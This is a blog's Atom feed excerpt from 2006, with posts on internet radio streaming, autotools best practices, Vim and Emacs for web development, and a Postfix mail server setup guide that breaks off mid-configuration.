&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115743175899701702?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115743175899701702/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115743175899701702&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115743175899701702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115743175899701702'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/web-proxies.html' title='Web proxies'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115742944491012715</id><published>2006-09-05T11:10:00.000+07:00</published><updated>2006-09-05T11:10:44.920+07:00</updated><title type='text'>Internet radio</title><content type='html'>Internet radio technology&lt;br /&gt;&lt;br /&gt;Streaming&lt;br /&gt;One of the most common ways to distribute internet radio is via streaming technology using a lossy audio codec. The MP3 codec is most popular, followed by Ogg Vorbis, Windows Media Audio, and RealAudio; use of HE-AAC (sometimes called aacPlus) is gaining in popularity. The bits are "streamed" over a TCP/IP connection, then reassembled and played within about 2 seconds. Therefore, streaming radio has about a two-second lag time.&lt;br /&gt;&lt;br /&gt;There are three major components to an audio stream:&lt;br /&gt;Audio stream source&lt;br /&gt;Audio stream repeater (server)&lt;br /&gt;Audio stream playback&lt;br /&gt;&lt;br /&gt;There are many methods for creating the audio stream source. Those more technologically savvy may opt for the SHOUTcast service, which utilizes Winamp and the SHOUTcast DSP plugin to deliver MP3 audio at higher bitrates. Other methods include open source technologies such as Streamcast, stream-db, IceS, and MuSE, and patent-free data formats such as Ogg Vorbis. Using open source stream source tools allows for interesting web interface possibilities like phpStreamcast.&lt;br /&gt;&lt;br /&gt;Two of the most popular internet radio networks are Live365 and SHOUTcast. Open source alternatives include Icecast and Xiph.org, which include Ogg Vorbis streamings (that can be played by Winamp and Zinf). Collectively, these internet radio servers list thousands of Internet radio stations covering an ever-expanding variety of genres. The purpose of the server is to repeat the stream source to the audio playback software.&lt;br /&gt;To meet Wikipedia's quality standards and comply with our Neutral Point of View policy, this article or section may require cleanup.&lt;br /&gt;The current version of the article or section reads like an advertisement.&lt;br /&gt;Please discuss this issue on the talk page. Editing help is available.&lt;br /&gt;&lt;br /&gt;Sites that aggregrate links of Internet radio broadcasts enable listeners to find internet broadcasts by genre, language, or location.&lt;br /&gt;&lt;br /&gt;Some sort of audio playback software or hardware, that is capable of reading HTTP data streams, is needed to listen to streaming MP3 audio. Some popular software players are Winamp for Windows, iTunes for Macintosh and Microsoft Windows, and XMMS on Unix/Linux. Listening to internet radio through hardware devices has not been very popular in the past, due to the limited number of devices on the market, though the availability of such devices and their consumer popularity is expected to increase significantly during 2006. A list of commercially available devices is available at Internet radio device, but many of these are limited in which audio codecs they can use and consequently the variety of internet radio stations they are compatible with.&lt;br /&gt;&lt;br /&gt;There is a tradeoff between audio quality and audience size. Stations that encode their streams at a lower bitrate have lower audio quality, but they are more accessible to listeners with a dialup connection, and they can serve more simultaneous users on a given upstream pipe.&lt;br /&gt;&lt;br /&gt;There are also a small number of web radio programs that allow users to rate the songs they are listening to. This allows a user's music listening choices to be correlated against those of others, as with the programs iRATE radio, Last.fm, and Radio Paradise.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115742944491012715?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115742944491012715/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115742944491012715&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115742944491012715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115742944491012715'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/internet-radio.html' title='Internet radio'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115736404305640603</id><published>2006-09-04T16:58:00.000+07:00</published><updated>2006-09-04T17:00:43.066+07:00</updated><title type='text'>autotools</title><content type='html'>Best practices with autotools&lt;br/&gt;&lt;br/&gt;The core of GNU's compile chain -- the set of tools used to build GNU software packages -- is the so-called "autotools," a term that refers to the autoconf and automake programs, as well as libtoolize, autoheader, pkg-config, and sometimes gettext. These tools let you compile GNU software on a wide variety of platforms and Unix and Unix-like operating systems, providing developers a framework to check for the presence of the libraries, functions, and tools that they want to use. While autotools are great in the hands of an experienced developer, they can be quite a handful for the first-time user, and it's not so rare that packages are shipped with working-but-broken autotools support. This article will cover some of the most common errors people make when using autotools and ways to achieve better results. &lt;br/&gt;&lt;br/&gt;Regardless of anyone's opinion about them, we currently have no valid alternative for autotools. Projects such as Scons are not as portable as autotools, and they don't embody enough knowledge to be useful yet. We have tons of automatic checks with autotools, and a lot of libraries come with an m4 library with macros to check for their presence.&lt;br/&gt;&lt;br/&gt;The basic structure of an autotooled project is simple. Autoconf uses a configure.ac file (formerly configure.in) written in m4 language to create a configure script with the help of an aclocal.m4 file (created by aclocal using the m4 libraries on its search path and acinclude.m4 file). For every directory there's a Makefile.am file, used by automake to create the Makefile.in templates, which are processed and transformed in the real makefiles by the configure script. You can also avoid using automake and just write your own Makefile.in files, but this is quite complex, and you lose a few features of autotools.&lt;br/&gt;&lt;br/&gt;In a configure.ac file you can use macros you define yourself, the default ones provided by autoconf and aclocal, or external macros provided, for instance, by other packages. In such a case aclocal will create the aclocal.m4 file adding the library files it finds on the system's library with the defined macros; this is a critical step to have a working autotooled project, as we'll see in a moment.&lt;br/&gt;&lt;br/&gt;A Makefile.am is mainly a declaration of intents: you can fill some targets variables with the name of the targets you want to build. These variables are structured in a format like placetoinstall_TYPEOFTARGET. The place is the location in a hierarchical Unix filesystem (bin, lib, include, ...), a non-used keyword that can be defined with an arbitrary path (using the keyworddir variable), or the special keyword noinst that marks the targets that need not to be installed (for example private headers, or static libraries used during build). After naming the target, you can use the name (replacing dots with underscores) as the prefix for the variables that affects its build. In this way you can provide special CFLAGS, LDFLAGS, and LDADD variables used during the build of a single target, instead of changing them for all the targets. You can also use variables collected during configure phase, if you passed them to the AC_SUBST macro in configure.ac, so that they are replaced inside makefiles. Also, though defining CFLAGS and LDFLAGS on a per-target basis seems useful, adding static flags in Makefile.am is a bad thing for portability, as you can't tell if the compiler you're using supports them, or if you really need them (-ldl put in LDFLAGS is a good example of a flag needed on Linux but not on FreeBSD); in such cases you should use configure.ac to add these flags.&lt;br/&gt;&lt;br/&gt;The most commonly used macros in configure.ac are AC_CHECK_HEADERS, AC_CHECK_FUNCTS, and AC_CHECK_LIB, which test for the presence of, respectively, some header files, some library functions, and a given library (with a specific function in it). They are important for portability as they provides a way to check which headers are present and which are not (for example system headers that have different locations in different operating systems), and to check whether a function is present in the system library (asprintf() is missing in OpenBSD for example, while it's present on GNU C library and FreeBSD), and finally to check for the presence of some third-party library or to see if a specific link to a library is needed to get some functions (for example dlopen() function is in libdl library on GNU systems, while it's provided by the system's C library on FreeBSD).&lt;br/&gt;&lt;br/&gt;Along with testing for the presence or absence of functions or headers (and sometimes libraries) you usually need to change the code's path (for example to avoid the use of missing functions, or to define a drop-in replacement for them). Autoconf is commonly coupled with another tool, autoheader, which creates a config.h.in template, used by configure script to create a config.h header in which are defined a few preprocessor macros in form of HAVE_givenfunction or HAVE_givenheader_H which can be tested with #ifdef/#ifndef directives inside a C or C++ source file to change the code according to the features present.&lt;br/&gt;&lt;br/&gt;Here are some practices to keep in mind to help you use autotools to create the most portable code possible.&lt;br/&gt;&lt;br/&gt;The config.h header file should be considered to be an internal header file, so it should be used just by the single package in which it's created. You should avoid editing the config.h.in template to add your own code there, as this requires you to manually update it according to the configure.ac you're writing.&lt;br/&gt;&lt;br/&gt;Unfortunately a few projects, such as Net-SNMP, export this header file with other libraries' headers, which requires any projects that use their libraries to include them (or provide their own copy of the internal Net-SNMP structures). This is a bad thing, as the autotools structure of a library project should be invisible to software using it (which might not use autotools at all). Also, changes in autotools behavior are anything but rare, so you can have two identical checks with different results due to changes in the way they are executed. If you need to define your own wrappers or replacements in case something is not in the environment you're compiling for, you should do that in private headers that do not get installed (declared as noinst_HEADERS in Makefile.am files).&lt;br/&gt;&lt;br/&gt;Always provide the m4 files you used. As autotools have been in use for years, many packages (for example libraries) that can be reused by other programs provide an m4 library file in /usr/share/aclocal that makes it possible to check for their presence (for example using the -config scripts) with a simple macro call. These files are used by aclocal to create the aclocal.m4 file, and they usually are present on the developers' systems where aclocal is executed to create the release, but when they are for optional dependencies, they can be missing on users' systems. While this is usually not a problem, because users rarely executes aclocal, it's a problem for source distributions, such as Gentoo, where sometimes you need to patch a Makefile.am or the configure.ac and then re-run autoconf without having all the optional dependencies installed (or having different versions, which can be incompatible or bugged, of the same m4 file).&lt;br/&gt;&lt;br/&gt;To avoid this problem, you should create an m4 subdirectory in your package's directory and then put there the m4 library files you are using. You must then call aclocal with aclocal -I m4 options to search in that directory before the system library. You can then choose whether to put that directory under revision control (CVS, SVN, or whatever else you are using) or just create it for the releases. The latter case is the bare minimum requirement for a package. It minimizes the amount of revision-controlled code and ensures that you're always using the latest m4 version, but has the drawback that anyone who checks out your repository won't be able to execute autoconf without having to look on a release tarball to take the m4 from (and that might not work, as you can have updated the configure.ac to suit a newer macro or added more dependencies). On the other hand, putting the m4 directory under revision control sometimes tempts the developers to change the macros to suit their needs. Although this seems logical, as the m4 files are under your revision control, it will upset many package maintainers, as sometimes new versions of m4 files fix bugs or support newer options and installation paths (for example multilib setups), and having the m4 files modified makes it impossible to just replace them with updated versions. It also mean that when you're going to update an m4 file you must redo the modification against the original.&lt;br/&gt;&lt;br/&gt;m4 files are always a problem to work with. They must replicate almost the same code from library to library (depending on the way you need to provide CFLAGS/LDFLAGS: with tests or with a -config script). To avoid this problem, the GNOME and FreeDesktop projects developed a tool called pkg-config, which provides both an executable binary and an m4 file to include in configure.ac files, and lets developers check for the presence of a given library (and/or package), provided that the package itself installed a pkg-config .pc data file. This approach simplifies the work of maintaining configure.ac scripts, and requires a lot less time to be processed during execution of configure script, as it uses the information provided by the installed package itself instead of just trying if it's present. On the other hand, this approach means that an error the developers make concerning a dependency can break the user program, as they just hardcode the compiler and linker flags in the data file and the configure script doesn't actually check whether the library works. Fortunately, this doesn't happen too often. &lt;br/&gt;&lt;br/&gt;To create the configure file, you need PKG_CHECK_MODULES, contained in the pkg.m4 library. You should add that file to your m4 directory. If pkg-config dependency is mandatory (as the tool is run by the configure script) you can't be sure that the m4 file you are using is the same as one on users' systems, nor you can be sure that it does not include extra bugs, as it can be older than yours.&lt;br/&gt;&lt;br/&gt;Always check for the libraries you're going to link to, if you have them as mandatory dependencies. Usually autoconf macros or pkg-config data files define prerequisite libraries that you need to successfully link to your library. Also, some functions that are in extra libraries in some systems (like dlopen() in libdl on Linux and Mac OS X) can be in the libc of another system (the same function is in libc on FreeBSD). In these cases you need to check whether the function can be found without linking to anything, or if you need to use a specific library (for example to avoid linking to a non-existent libdl that would fail where it's not needed).&lt;br/&gt;&lt;br/&gt;Be careful with GNU extensions. One of the things that makes portability a big pain is the use of extension functions, which are provided by GNU libc but aren't present on other C libraries like BSD's or uClibc. When you use such functions, you should always provide a "drop-in replacement," a function that can provide the same functionality as the library function, maybe with less performance or security, which can be used when the extension function is not present on system's C library. Those functions must be protected by a #ifdef HAVE_function ... #endif block, so that they don't get duplicated when they are already present. Make sure that these functions are not exported by the library to the external users; they should be declared inside an internal header, to avoid breaking other libraries that may be doing similar tricks.&lt;br/&gt;&lt;br/&gt;Avoid compiling OS-specific code when not needed. When a program optionally supports specific libraries or specific operating systems, it's not rare to have entire source files that are specific to that code path. To avoid compiling them when they're not needed, use the AM_CONDITIONAL macro inside a configure.ac file. This automake macro (usable only if you're using automake to build the project) allows you to define if .. endif blocks inside a Makefile.am file, inside which you can set special variables. You can, for example, add a "platformsrcs" variable that you set to the right source file for the platform to build for, then use in a _SOURCES variable. &lt;br/&gt;&lt;br/&gt;However, there are two common errors developers make when using AM_CONDITIONAL. The first is the use of AM_CONDITIONAL in an already conditional branch (for example under an info or in a case switch), which leads to automake complaining about a conditional defined only conditionally (AM_CONDITIONAL must be called on global scope, out of every if block, so you must define a variable to contain the status of the conditions and then test against when calling the AM_CONDITIONAL). The other one is that you can't change the targets' variables directly, and you must define "commodity" variables, whose results empty out of the conditional, to add or remove source files and targets.&lt;br/&gt;&lt;br/&gt;Many projects, to avoid compiling code for specific code paths, add the entire files in #ifdef ... #endif preprocessor conditionals. While this usually works, it makes the code ugly and error-prone, as a single statement out of the conditional block can be compiled where the source file is not needed. It also misleads users sometimes, as the source files seem to be compiled in situations where they don't make sense.&lt;br/&gt;&lt;br/&gt;Be smart in looking for operating system or hardware platform. Sometimes you need to search for a specific operating system or hardware platform. The right way to do this depends on where you need to know this. If you must know it to enable extra tests on configure, or you must add extra targets on makefiles, you must do the check in configure.ac. On the other hand, if the difference must be known in a source file, for example to enable an optional asm-coded function, you should rely directly on the compiler/preprocessor, so you should use #ifdef directives with the default macros enabled on the target platform (for example __linux__, __i386__, _ARC_PPC, __sparc__, _FreeBSD_ and __APPLE__).&lt;br/&gt;&lt;br/&gt;Don't run commands in configure.ac. If you need to check for hardware or operating system in a configure.ac, you should avoid using the uname command, despite this being one of the most common way to do such a test. This is actually an error, as this breaks crosscompilation. Autotools supports crosscompile projects from one machine to another using hosts definitions: strings in the form "hardware-vendor-os" (actually, "hardware-vendor-os-libc" when GNU libc is used), such as i686-pc-linux-gnu and x86_64-unknown-freebsd5.4. CHOST is the host definition for the system you're compiling the software for, CBUILD is the host definition for the system you're compiling on; when CHOST and CBUILD differ, you're crosscompiling. &lt;br/&gt;&lt;br/&gt;In the examples above, the first host definition shows an x86-like system, with a pentium2-equivalent (or later) processor, running a Linux kernel with a GNU libc (usually this refers to a GNU/Linux system). The second refers to an AMD64 system with a FreeBSD 5.4 operating system. (For a GNU/kFreeBSD system, which uses FreeBSD kernel and GNU libc, the host definition is hw-unknown-freebsd-gnu, while for a Gentoo/FreeBSD, using FreeBSD's kernel and libc, but with Gentoo framework, the host definition is hw-gentoo-freebsd5.4.) By using $host and $build variables inside a configure.ac script you can enable or disable specific features based on the operating system or on the hardware platform you're compiling to or on.&lt;br/&gt;&lt;br/&gt;Don't abuse "automagic" dependencies. One of the most useful features of autotools are the automatic checks for the presence of a library, which are often used to automatically enable support for extra dependencies and such. However, abusing this feature makes the build of a package a bit of a problem. While this is quite useful for first-time users, and although most of the projects having complex dependencies (such as multimedia programs like xine and VLC) use a plugin-based framework that allows them to avoid most of the breakages, "automagic" dependencies are a great pain for packagers, especially ones working on source-based distributions such as Gentoo and ports-like frameworks. When you build something with automagical dependencies you enable the functions supported by the libraries found on the system on which the configure script is run. This means that the output binaries might not work on a system that shares the same base packages but misses one extra library, for example. Also, you can't tell the exact dependencies of a package, as some might be optional and not be built when the libraries are not present.&lt;br/&gt;&lt;br/&gt;To avoid this, autoconf allows you to add --enable/--disable and --with/--without options to configure scripts. With such options you can forcefully enable or disable a specific option (such as the support for an extra library or for a specific feature), and leave the default to automatic tests.&lt;br/&gt;&lt;br/&gt;Unfortunately, many developers misunderstand the meaning of the two parameters of the functions used to add those options (AC_ARG_ENABLE and AC_ARG_WITH). They represent the code to execute when a parameter is passed and when one is not. Many developers mistakenly think that the two parameters define the code to execute when the feature is enabled and when is disabled. While this usually works when you pass a parameter just to change the default behavior, many source-based distributions pass parameters also to confirm the default behavior, which leads to errors (features explicitely requested missing). Being able to disable optional features if they don't add dependencies (think of OSS audio support on Linux) is always a good thing for users, who can avoid building extra code if they don't plan to use it, and prevents maintainers from doing dirty caching tricks to enable or disable features as their users request.&lt;br/&gt;&lt;br/&gt;While autotools were a big problem for both developers and maintainers because there are different incompatible versions that do not get along well together (since they install in the same places, with the same names) and which are used in different combinations, the use of autotools saves maintainers from doing all sorts of dirty tricks to compile software. If you look at ebuild from Gentoo's portage, the few that do not use autotools are the more complex ones, as they need to check variables on very different setups (we can or not have NPTL support; we can be on Linux, FreeBSD, or Mac OS X; we can be using GLIBC or another libc; and so on), while autotools usually take care of that on their own. It's also true that many patches applied by maintainers are to fix broken autotools script in upstream sources, but this is just a little problem compared to the chaos of using special build systems that don't work at all with little environmental changes.&lt;br/&gt;&lt;br/&gt;Autotools can be quite tricky for newcomers, but when you start using them on a daily basis you find it's a lot easier than having to deal with manual makefiles or other strange build tools such as imake or qmake, or even worse, special autotools-like build scripts that try to recognize the system they are building on. Autotools makes it simple to support new OSes and new hardware platforms, and saves maintainers and porters from having to learn how to custom-build a system to fix compilation. By carefully writing a script, developers can support new platforms without any changes at all.&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115736404305640603?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115736404305640603/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115736404305640603&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115736404305640603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115736404305640603'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/autotools.html' title='autotools'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115736376617376420</id><published>2006-09-04T16:55:00.000+07:00</published><updated>2006-09-04T16:56:06.176+07:00</updated><title type='text'>Vim and Emacs</title><content type='html'>Let's start with a look at two general-purpose editors, Vim and Emacs, that offer some specific features for Web development.&lt;br/&gt;&lt;br/&gt;Vim &lt;br/&gt;&lt;br/&gt;Vim is one of the most popular text editors for Linux users, and it offers a number of useful features for editing HTML and other languages you might use for Web development.&lt;br/&gt;&lt;br/&gt;One of the first features I look for in any editor is syntax highlighting. Vim supports syntax highlighting for HTML, PHP, Python, Perl, CSS, and many other languages. Vim uses syntax files for each markup or programming language, and if it doesn't have a syntax file for your favorite language (unlikely), it's possible to write your own. &lt;br/&gt;&lt;br/&gt;Another useful feature in Vim is support for editing files on remote machines. Vim can edit files over FTP, Secure FTP (SFTP), SSH (scp), rsync, and other protocols. This may be a bit slower than editing a local file, but it's otherwise seamless.&lt;br/&gt;&lt;br/&gt;Vim is also very extensible. It's not too difficult to add keymaps that insert frequently used tags, and to create scripts or macros to use with Vim. The Vim Web site has quite a few tips on using Vim more effectively, and scripts to extend its functionality.&lt;br/&gt;&lt;br/&gt;One script I recommend is the closetag.vim script, which makes it easy to "close" the last tag used. For example, if you've put in a &lt;strong&gt; tag, press Ctrl-_ to insert the &lt;/strong&gt; tag. Another useful add-on for Vim is HTML.vim, which provides a set of mappings and menus for working with HTML.&lt;br/&gt;&lt;br/&gt;If you're not familiar with Vim, it's not your best choice for doing Web development. If you have experience with Vim, spend a little time checking out Vim's advanced features that make Web development easy.&lt;br/&gt;&lt;br/&gt;Emacs &lt;br/&gt;&lt;br/&gt;Like Vim, Emacs enjoys a great deal of popularity amongst Linux users -- although usually not the same users. Emacs is particularly popular with users who've been working with Linux or other Unix-type systems for a long time. As with Vim, Emacs has all the features you'd expect in a world-class text editor that make working with text easy. However, if you're looking for WYSIWYG features, Emacs is not for you.&lt;br/&gt;&lt;br/&gt;By itself, Emacs is pretty good for Web development. It supports syntax highlighting for a number of languages, and completion of tags and other standard language keywords so that you don't need to type out the entire HTML tag or keyword.&lt;br/&gt;&lt;br/&gt;Emacs is also extensible, and there are a number of Emacs modes that make things even easier. The html-helper-mode, for example, provides shortcuts to insert HTML tags and entities, and even an entire HTML document "skeleton" with all the basic tags a document needs. The html-helper-mode also brings support for basic CSS.&lt;br/&gt;&lt;br/&gt;The Transparent Remote (file) Access, Multiple Protocol (TRAMP) package makes it easy to edit files on remote servers with Emacs. TRAMP works over Remote Shell (RSH), SFTP, and SSH (scp).&lt;br/&gt;&lt;br/&gt;Of course, the other benefit to Emacs is that you can do pretty much anything from the editor. Want to read email from Emacs? No problem. Want to chat in IRC using Emacs? You can do that too. This has little to do with Web development, but if you "live" in Emacs already, you probably want to do your Web development with it as well.&lt;br/&gt;&lt;br/&gt;Emacs, like Vim, is fairly complex -- it's very powerful, but it will probably take novice users a while to master.&lt;br/&gt;&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115736376617376420?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115736376617376420/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115736376617376420&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115736376617376420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115736376617376420'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/vim-and-emacs.html' title='Vim and Emacs'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115736350802036417</id><published>2006-09-04T16:46:00.000+07:00</published><updated>2006-09-04T16:51:48.036+07:00</updated><title type='text'>Implementing a Postfix</title><content type='html'>Implementing a Postfix mail server with spam and antivirus protection&lt;br/&gt;&lt;br/&gt;Building a complete email system with spam and antivirus protection is not as hard as you might think. This guide will walk you through installing and configuring everything you need for sending and receiving email, filtering spam, and scanning for viruses in email. &lt;br/&gt;&lt;br/&gt;For our system, we'll use the Postfix mail transport agent (MTA); Dovecot, a secure, open source IMAP and POP3 server for Linux/Unix-like systems; SquirrelMail, a standards-based Webmail package written in PHP 4; SpamAssassin, a powerful open source spam filter; and ClamAV, a GPLed virus scanner. To tie everything together we'll use amavisd-new, a high-performance interface between MTAs and content checkers such as virus scanners and spam filters.&lt;br/&gt;&lt;br/&gt;The system will be configured so that users will have POP, secure POP, IMAP, and secure IMAP (IMAPS) access, and will also be able to access their email from the Web using SquirrelMail. Every email sent or received will be scanned for viruses and checked for possible spam content.&lt;br/&gt;&lt;br/&gt;The email applications will run on Fedora Core 4 and Red Hat Enterprise Linux Advanced Server 4.&lt;br/&gt;&lt;br/&gt;To install the packages for this project we will use the Yellow Dog Updater, Modified (Yum). In order to get all the packages that you need, make sure you have the Fedora Extras repository (/etc/yum.repos.d/fedora-extras.repo; it's included in the distribution and enabled by default) and Dries repository enabled and configured. You will need both repositories in order to install all the packages needed.&lt;br/&gt;&lt;br/&gt;Installation &lt;br/&gt;&lt;br/&gt;To begin, you'll want to make sure your system is up-to-date. Run yum update if you haven't already.&lt;br/&gt;Now configure the Dries repository for use by creating a file called /etc/yum.repos.d/dries.repo, with the following entries:&lt;br/&gt;&lt;br/&gt;[dries]&lt;br/&gt;name=Extra Fedora rpms dries - $releasever - $basearch&lt;br/&gt;&lt;br/&gt;baseurl=http://ftp.belnet.be/packages/dries.ulyssis.org/fedora/linux/$releasever/$basearch/dries/RPMS/&lt;br/&gt;enabled=1&lt;br/&gt;gpgcheck=1&lt;br/&gt;&lt;br/&gt;Next, install the GPG key for this repository:&lt;br/&gt;rpm --import http://dries.ulyssis.org/rpm/RPM-GPG-KEY.dries.txt &lt;br/&gt;&lt;br/&gt;Now that you have the repositories ready, you can install the packages that we need:&lt;br/&gt;&lt;br/&gt;yum install postfix dovecot spamassassin squirrelmail clamav clamav-server clamav-update clamav-lib clamav-data amavisd-new &lt;br/&gt;&lt;br/&gt;Wait until all the packages and dependencies are installed. &lt;br/&gt;By default, Fedora and Red Hat distributions come with sendmail set as the MTA for the system. You can check or change the default MTA with the system-switch-mail utility. If you don't have it installed yet, install it now:&lt;br/&gt;yum install system-switch-mail system-switch-mail-gnome &lt;br/&gt;Simply run the system-switch-mail tool and select Postfix as your default MTA.&lt;br/&gt;&lt;br/&gt;Now that you have all the necessary applications and tools installed, it's time to configure them to work together.&lt;br/&gt;&lt;br/&gt;Setting up Postfix &lt;br/&gt;&lt;br/&gt;To configure Postfix, edit the main Postfix configuration file /etc/postfix/main.cf and change these entries as follows:&lt;br/&gt;&lt;br/&gt;#This is your fully qualified domain name (FQDN):&lt;br/&gt;&lt;br/&gt;myhostname = mail.srv.dyndns.org&lt;br/&gt;#myorigin specifies the default domain name that is appended&lt;br/&gt;myorigin = $mydomain&lt;br/&gt;#By the parameter "all" we allow the connections to our server&lt;br/&gt;# from anywhere, not only from localhost&lt;br/&gt;inet_interfaces = all&lt;br/&gt;#The mydestination parameter specifies the list of domains that&lt;br/&gt;#this machine considers itself the final destination for.&lt;br/&gt;mydestination = $mydomain, 